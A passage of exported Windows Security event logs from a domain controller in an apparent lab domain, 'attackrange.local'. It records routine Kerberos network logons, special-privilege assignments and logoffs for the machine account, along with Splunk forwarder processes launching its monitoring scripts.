- Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFB7E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64387 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250080 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB7E7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250079 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB786 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250078 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFB786 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64386 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250077 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB786 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250121 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250120 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13d8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250117 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1384 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250113 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE261 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250112 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFE261 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64393 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250111 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE261 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250110 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE1EB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250109 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFE1EB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64392 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250108 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE1EB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250107 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE132 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250106 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFE132 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64391 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250105 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE132 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250104 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE091 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250103 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFE091 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64390 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250102 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFE091 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - 